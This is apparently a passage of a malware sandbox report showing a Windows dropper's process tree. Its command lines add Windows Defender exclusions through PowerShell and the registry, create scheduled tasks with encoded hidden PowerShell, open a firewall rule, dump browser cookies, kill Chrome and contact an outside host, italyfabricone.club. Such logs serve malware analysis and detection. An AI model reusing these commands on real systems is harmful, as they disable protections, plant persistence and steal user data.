C:\Program Files (x86)\Solitary-Sunset\app.exe"C:\Program Files (x86)\Solitary-Sunset\app.exe" /8-2322⤵PID:11624
-
C:\Program Files (x86)\Solitary-Sunset\app.exe"C:\Program Files (x86)\Solitary-Sunset\app.exe" /8-2323⤵PID:7128
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\k3adxo12fk2\uw2k2rvlejt.exe"C:\Users\Admin\AppData\Local\Temp\k3adxo12fk2\uw2k2rvlejt.exe" /1-61021⤵PID:9636
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Empty-Sound'22⤵PID:4352
-
-
C:\Program Files (x86)\Empty-Sound\7za.exe"C:\Program Files (x86)\Empty-Sound\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:12732
-
-
C:\Program Files (x86)\Empty-Sound\uw2k2rvlejt.exe"C:\Program Files (x86)\Empty-Sound\uw2k2rvlejt.exe" /1-61022⤵PID:13136
-
C:\Program Files (x86)\Empty-Sound\uw2k2rvlejt.exe"C:\Program Files (x86)\Empty-Sound\uw2k2rvlejt.exe" /1-61023⤵PID:2420
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\askinstall20.exe"17⤵PID:5056
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe18⤵PID:6152
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe19⤵
- Kills process with taskkill
PID:7468
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\file.exe"17⤵PID:7508
-
C:\Users\Admin\AppData\Roaming\387D.tmp.exe"C:\Users\Admin\AppData\Roaming\387D.tmp.exe"18⤵PID:6044
-
C:\Users\Admin\AppData\Roaming\387D.tmp.exe"C:\Users\Admin\AppData\Roaming\387D.tmp.exe"19⤵PID:6352
-
-
-
C:\Users\Admin\AppData\Roaming\3C37.tmp.exe"C:\Users\Admin\AppData\Roaming\3C37.tmp.exe"18⤵PID:3880
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\md2_2efs.exe"17⤵PID:7216
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\BTRSetp.exe"17⤵PID:8644
-
C:\ProgramData\7713778.exe"C:\ProgramData\7713778.exe"18⤵PID:5268
-
-
C:\ProgramData\6127226.exe"C:\ProgramData\6127226.exe"18⤵PID:1020
-
-
C:\ProgramData\1460320.exe"C:\ProgramData\1460320.exe"18⤵PID:8472
-
-
C:\ProgramData\754739.exe"C:\ProgramData\754739.exe"18⤵PID:6924
-
-
C:\ProgramData\3171888.exe"C:\ProgramData\3171888.exe"18⤵PID:8160
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\gcttt.exe"17⤵PID:8716
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt18⤵PID:5540
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt18⤵PID:8468
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt18⤵PID:8772
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zbuvaeit.nym\setup.exe /S /kr /site_id=754 & exit15⤵PID:8712
-
C:\Users\Admin\AppData\Local\Temp\zbuvaeit.nym\setup.exeC:\Users\Admin\AppData\Local\Temp\zbuvaeit.nym\setup.exe /S /kr /site_id=75416⤵PID:9396
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵PID:7828
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵PID:5396
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵PID:5260
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵PID:10088
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gQJccehEU" /SC once /ST 03:32:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
PID:9000
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gQJccehEU"17⤵PID:7760
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gQJccehEU"17⤵PID:8796
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 18:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\ipcEsKn.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Creates scheduled task(s)
PID:7376
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bmIXAqnwlcZKDlfrrr"17⤵PID:7112
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
- Executes dropped EXE
PID:5404
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0aia3fjy.sfg\Four.exe & exit15⤵PID:6436
-
C:\Users\Admin\AppData\Local\Temp\0aia3fjy.sfg\Four.exeC:\Users\Admin\AppData\Local\Temp\0aia3fjy.sfg\Four.exe16⤵PID:7140
-
C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵PID:9212
-
C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe" 1 3.1616696664.605cd558e9d0c 10418⤵PID:9088
-
C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\3B54IIWXLG\multitimer.exe" 2 3.1616696664.605cd558e9d0c19⤵PID:7024
-
C:\Users\Admin\AppData\Local\Temp\g02xvr5xcpo\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\g02xvr5xcpo\AwesomePoolU1.exe"20⤵PID:10544
-
-
C:\Users\Admin\AppData\Local\Temp\kq1n2sas1o1\vict.exe"C:\Users\Admin\AppData\Local\Temp\kq1n2sas1o1\vict.exe" /VERYSILENT /id=53520⤵PID:7352
-
C:\Users\Admin\AppData\Local\Temp\is-0AQBH.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-0AQBH.tmp\vict.tmp" /SL5="$E02D8,870426,780800,C:\Users\Admin\AppData\Local\Temp\kq1n2sas1o1\vict.exe" /VERYSILENT /id=53521⤵PID:11024
-
C:\Users\Admin\AppData\Local\Temp\is-4TD3T.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-4TD3T.tmp\winhost.exe" 53522⤵PID:2392
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ublqucq2cby\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\ublqucq2cby\Setup3310.exe" /Verysilent /subid=57720⤵PID:9196
-
C:\Users\Admin\AppData\Local\Temp\is-RV7BF.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-RV7BF.tmp\Setup3310.tmp" /SL5="$90738,138429,56832,C:\Users\Admin\AppData\Local\Temp\ublqucq2cby\Setup3310.exe" /Verysilent /subid=57721⤵PID:11032
-
C:\Users\Admin\AppData\Local\Temp\is-I9Q1N.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-I9Q1N.tmp\Setup.exe" /Verysilent22⤵PID:8092
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bjom13omj5k\e23eazcdopg.exe"C:\Users\Admin\AppData\Local\Temp\bjom13omj5k\e23eazcdopg.exe" /ustwo INSTALL20⤵PID:10692
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "e23eazcdopg.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\bjom13omj5k\e23eazcdopg.exe" & exit21⤵PID:5780
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "e23eazcdopg.exe" /f22⤵
- Kills process with taskkill
PID:4924
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gdvurdg52r1\putgxtgqzpw.exe"C:\Users\Admin\AppData\Local\Temp\gdvurdg52r1\putgxtgqzpw.exe" /1-61020⤵PID:11012
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Fragrant-Breeze'21⤵PID:7820
-
-
C:\Program Files (x86)\Fragrant-Breeze\7za.exe"C:\Program Files (x86)\Fragrant-Breeze\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:10548
-
-
C:\Program Files (x86)\Fragrant-Breeze\putgxtgqzpw.exe"C:\Program Files (x86)\Fragrant-Breeze\putgxtgqzpw.exe" /1-61021⤵PID:7260
-
C:\Program Files (x86)\Fragrant-Breeze\putgxtgqzpw.exe"C:\Program Files (x86)\Fragrant-Breeze\putgxtgqzpw.exe" /1-61022⤵PID:9880
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sjascclbavy\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\sjascclbavy\Setup3310.exe" /Verysilent /subid=57720⤵PID:1244
-
C:\Users\Admin\AppData\Local\Temp\is-72N51.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-72N51.tmp\Setup3310.tmp" /SL5="$60814,138429,56832,C:\Users\Admin\AppData\Local\Temp\sjascclbavy\Setup3310.exe" /Verysilent /subid=57721⤵PID:12252
-
C:\Users\Admin\AppData\Local\Temp\is-4PFD0.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-4PFD0.tmp\Setup.exe" /Verysilent22⤵PID:12488
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\n4r4klwge0y\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\n4r4klwge0y\AwesomePoolU1.exe"20⤵PID:12072
-
-
C:\Users\Admin\AppData\Local\Temp\m1ba3xz1k5k\app.exe"C:\Users\Admin\AppData\Local\Temp\m1ba3xz1k5k\app.exe" /8-2320⤵PID:152
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Damp-Darkness"21⤵PID:12096
-
-
C:\Program Files (x86)\Damp-Darkness\7za.exe"C:\Program Files (x86)\Damp-Darkness\7za.exe" e -p154.61.71.51 winamp-plugins.7z21⤵PID:11688
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Damp-Darkness\app.exe" -map "C:\Program Files (x86)\Damp-Darkness\WinmonProcessMonitor.sys""21⤵PID:11272
-
C:\Program Files (x86)\Damp-Darkness\app.exe"C:\Program Files (x86)\Damp-Darkness\app.exe" -map "C:\Program Files (x86)\Damp-Darkness\WinmonProcessMonitor.sys"22⤵PID:13060
-
-
-
C:\Program Files (x86)\Damp-Darkness\7za.exe"C:\Program Files (x86)\Damp-Darkness\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:10784
-
-
C:\Program Files (x86)\Damp-Darkness\app.exe"C:\Program Files (x86)\Damp-Darkness\app.exe" /8-2321⤵PID:7884
-
C:\Program Files (x86)\Damp-Darkness\app.exe"C:\Program Files (x86)\Damp-Darkness\app.exe" /8-2322⤵PID:12188
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3qzk5s0xkel\vict.exe"C:\Users\Admin\AppData\Local\Temp\3qzk5s0xkel\vict.exe" /VERYSILENT /id=53520⤵PID:11384
-
C:\Users\Admin\AppData\Local\Temp\is-SME89.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-SME89.tmp\vict.tmp" /SL5="$209C2,870426,780800,C:\Users\Admin\AppData\Local\Temp\3qzk5s0xkel\vict.exe" /VERYSILENT /id=53521⤵PID:11520
-
C:\Users\Admin\AppData\Local\Temp\is-2C08U.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-2C08U.tmp\winhost.exe" 53522⤵PID:11960
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\fklkd5wip5m\3ww5eafjmnw.exe"C:\Users\Admin\AppData\Local\Temp\fklkd5wip5m\3ww5eafjmnw.exe" /1-61020⤵PID:9208
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Shy-Sound'21⤵PID:12056
-
-
C:\Program Files (x86)\Shy-Sound\7za.exe"C:\Program Files (x86)\Shy-Sound\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:11672
-
-
C:\Program Files (x86)\Shy-Sound\3ww5eafjmnw.exe"C:\Program Files (x86)\Shy-Sound\3ww5eafjmnw.exe" /1-61021⤵PID:6452
-
C:\Program Files (x86)\Shy-Sound\3ww5eafjmnw.exe"C:\Program Files (x86)\Shy-Sound\3ww5eafjmnw.exe" /1-61022⤵PID:5516
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wx3we2scp12\foy233rsp2k.exe"C:\Users\Admin\AppData\Local\Temp\wx3we2scp12\foy233rsp2k.exe" /ustwo INSTALL20⤵PID:6052
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "foy233rsp2k.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\wx3we2scp12\foy233rsp2k.exe" & exit21⤵PID:6268
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "foy233rsp2k.exe" /f22⤵
- Kills process with taskkill
PID:9580
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\QJVTOT4PMT\setups.exe"C:\Users\Admin\AppData\Local\Temp\QJVTOT4PMT\setups.exe" ll17⤵PID:8760
-
C:\Users\Admin\AppData\Local\Temp\is-5D7SH.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-5D7SH.tmp\setups.tmp" /SL5="$B035C,383902,148480,C:\Users\Admin\AppData\Local\Temp\QJVTOT4PMT\setups.exe" ll18⤵PID:7212
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\81-ef4a5-d7d-73a97-51c4f739ce9b9\Lubesyvaexo.exe"C:\Users\Admin\AppData\Local\Temp\81-ef4a5-d7d-73a97-51c4f739ce9b9\Lubesyvaexo.exe"14⤵
- Checks computer location settings
PID:6616
-
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\YiXjaRalM3qf.exe"C:\Program Files (x86)\Versium Research\Versium Research\YiXjaRalM3qf.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5644 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵PID:7088
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\RmSetp.exe"C:\Program Files (x86)\Versium Research\Versium Research\RmSetp.exe"11⤵
- Executes dropped EXE
PID:5580 -
C:\ProgramData\4393522.exe"C:\ProgramData\4393522.exe"12⤵
- Executes dropped EXE
PID:4444
-
-
C:\ProgramData\8091761.exe"C:\ProgramData\8091761.exe"12⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2768 -
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"13⤵
- Executes dropped EXE
PID:6156
-
-
-
C:\ProgramData\1765025.exe"C:\ProgramData\1765025.exe"12⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:5292
-
-
C:\ProgramData\2206815.exe"C:\ProgramData\2206815.exe"12⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:6328
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hcaukiei5i4\vhusku3rqwv.exe"C:\Users\Admin\AppData\Local\Temp\hcaukiei5i4\vhusku3rqwv.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2316 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "vhusku3rqwv.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hcaukiei5i4\vhusku3rqwv.exe" & exit9⤵PID:1224
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "vhusku3rqwv.exe" /f10⤵
- Kills process with taskkill
PID:196
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\cekgsxeswwu\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\cekgsxeswwu\AwesomePoolU1.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
C:\Users\Admin\AppData\Local\Temp\iv3w2ecunul\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\iv3w2ecunul\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4100 -
C:\Users\Admin\AppData\Local\Temp\is-DQHUV.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-DQHUV.tmp\IBInstaller_97039.tmp" /SL5="$20316,9884624,721408,C:\Users\Admin\AppData\Local\Temp\iv3w2ecunul\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4804 -
C:\Users\Admin\AppData\Local\Temp\is-LAFDG.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-LAFDG.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1036 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-LAFDG.tmp\{app}\chrome_proxy.exe"11⤵PID:7608
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
PID:6644
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://italyfabricone.club/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
- Checks computer location settings
PID:1200
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bvl5hxyfbpp\1afan31zrrr.exe"C:\Users\Admin\AppData\Local\Temp\bvl5hxyfbpp\1afan31zrrr.exe" /quiet SILENT=1 AF=7568⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4660 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\bvl5hxyfbpp\1afan31zrrr.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\bvl5hxyfbpp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1616437202 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
- Enumerates connected drives
PID:5612
-
-
-
C:\Users\Admin\AppData\Local\Temp\wywhx02tviy\vpn.exe"C:\Users\Admin\AppData\Local\Temp\wywhx02tviy\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4108
-
-
C:\Users\Admin\AppData\Local\Temp\24ycyqzu5a0\xuezhe3wrql.exe"C:\Users\Admin\AppData\Local\Temp\24ycyqzu5a0\xuezhe3wrql.exe" /1-6108⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:4424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Icy-Breeze'9⤵
- Suspicious use of AdjustPrivilegeToken
PID:4988
-
-
C:\Program Files (x86)\Icy-Breeze\7za.exe"C:\Program Files (x86)\Icy-Breeze\7za.exe" e -p154.61.71.51 winamp.7z9⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5108
-
-
C:\Program Files (x86)\Icy-Breeze\xuezhe3wrql.exe"C:\Program Files (x86)\Icy-Breeze\xuezhe3wrql.exe" /1-6109⤵
- Suspicious use of SetWindowsHookEx
PID:3208 -
C:\Program Files (x86)\Icy-Breeze\xuezhe3wrql.exe"C:\Program Files (x86)\Icy-Breeze\xuezhe3wrql.exe" /1-61010⤵PID:10408
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\p2gvglrhyn5\app.exe"C:\Users\Admin\AppData\Local\Temp\p2gvglrhyn5\app.exe" /8-238⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Frosty-Sound"9⤵
- Suspicious use of AdjustPrivilegeToken
PID:5112
-
-
C:\Program Files (x86)\Frosty-Sound\7za.exe"C:\Program Files (x86)\Frosty-Sound\7za.exe" e -p154.61.71.51 winamp-plugins.7z9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:6392
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Frosty-Sound\app.exe" -map "C:\Program Files (x86)\Frosty-Sound\WinmonProcessMonitor.sys""9⤵PID:7596
-
C:\Program Files (x86)\Frosty-Sound\app.exe"C:\Program Files (x86)\Frosty-Sound\app.exe" -map "C:\Program Files (x86)\Frosty-Sound\WinmonProcessMonitor.sys"10⤵
- Suspicious behavior: LoadsDriver
PID:8088
-
-
-
C:\Program Files (x86)\Frosty-Sound\7za.exe"C:\Program Files (x86)\Frosty-Sound\7za.exe" e -p154.61.71.51 winamp.7z9⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:496
-
-
C:\Program Files (x86)\Frosty-Sound\app.exe"C:\Program Files (x86)\Frosty-Sound\app.exe" /8-239⤵PID:5744
-
C:\Program Files (x86)\Frosty-Sound\app.exe"C:\Program Files (x86)\Frosty-Sound\app.exe" /8-2310⤵PID:11100
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"11⤵PID:5928
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes12⤵PID:4688
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\oq3r0bjn2qk\vict.exe"C:\Users\Admin\AppData\Local\Temp\oq3r0bjn2qk\vict.exe" /VERYSILENT /id=5358⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
PID:5404 -
C:\Users\Admin\AppData\Local\Temp\is-U9A8T.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-U9A8T.tmp\vict.tmp" /SL5="$80708,870426,780800,C:\Users\Admin\AppData\Local\Temp\oq3r0bjn2qk\vict.exe" /VERYSILENT /id=5359⤵PID:5808
-
C:\Users\Admin\AppData\Local\Temp\is-N125N.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-N125N.tmp\winhost.exe" 53510⤵PID:7484
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\nfapz0q51ej\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\nfapz0q51ej\Setup3310.exe" /Verysilent /subid=5778⤵PID:8380
-
C:\Users\Admin\AppData\Local\Temp\is-A8FBH.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-A8FBH.tmp\Setup3310.tmp" /SL5="$607F6,138429,56832,C:\Users\Admin\AppData\Local\Temp\nfapz0q51ej\Setup3310.exe" /Verysilent /subid=5779⤵PID:9668
-
C:\Users\Admin\AppData\Local\Temp\is-2ELIA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2ELIA.tmp\Setup.exe" /Verysilent10⤵PID:8328
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\nxvywijdeas\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\nxvywijdeas\AwesomePoolU1.exe"8⤵PID:2860
-
-
C:\Users\Admin\AppData\Local\Temp\ty1c1dpqyto\cqqjutg3sib.exe"C:\Users\Admin\AppData\Local\Temp\ty1c1dpqyto\cqqjutg3sib.exe" /ustwo INSTALL8⤵PID:7320
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "cqqjutg3sib.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ty1c1dpqyto\cqqjutg3sib.exe" & exit9⤵PID:6652
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "cqqjutg3sib.exe" /f10⤵
- Kills process with taskkill
PID:7700
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\yyzf1t2iwxa\vx2hi5vbghf.exe"C:\Users\Admin\AppData\Local\Temp\yyzf1t2iwxa\vx2hi5vbghf.exe" /1-6108⤵PID:8400
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Summer-Smoke'9⤵PID:8220
-
-
C:\Program Files (x86)\Summer-Smoke\7za.exe"C:\Program Files (x86)\Summer-Smoke\7za.exe" e -p154.61.71.51 winamp.7z9⤵PID:10588
-
-
C:\Program Files (x86)\Summer-Smoke\vx2hi5vbghf.exe"C:\Program Files (x86)\Summer-Smoke\vx2hi5vbghf.exe" /1-6109⤵PID:7736
-
C:\Program Files (x86)\Summer-Smoke\vx2hi5vbghf.exe"C:\Program Files (x86)\Summer-Smoke\vx2hi5vbghf.exe" /1-61010⤵PID:10328
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\khjp12htisj\app.exe"C:\Users\Admin\AppData\Local\Temp\khjp12htisj\app.exe" /8-238⤵PID:11088
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Dry-Glitter"9⤵PID:1308
-
-
C:\Program Files (x86)\Dry-Glitter\7za.exe"C:\Program Files (x86)\Dry-Glitter\7za.exe" e -p154.61.71.51 winamp-plugins.7z9⤵PID:5640
-
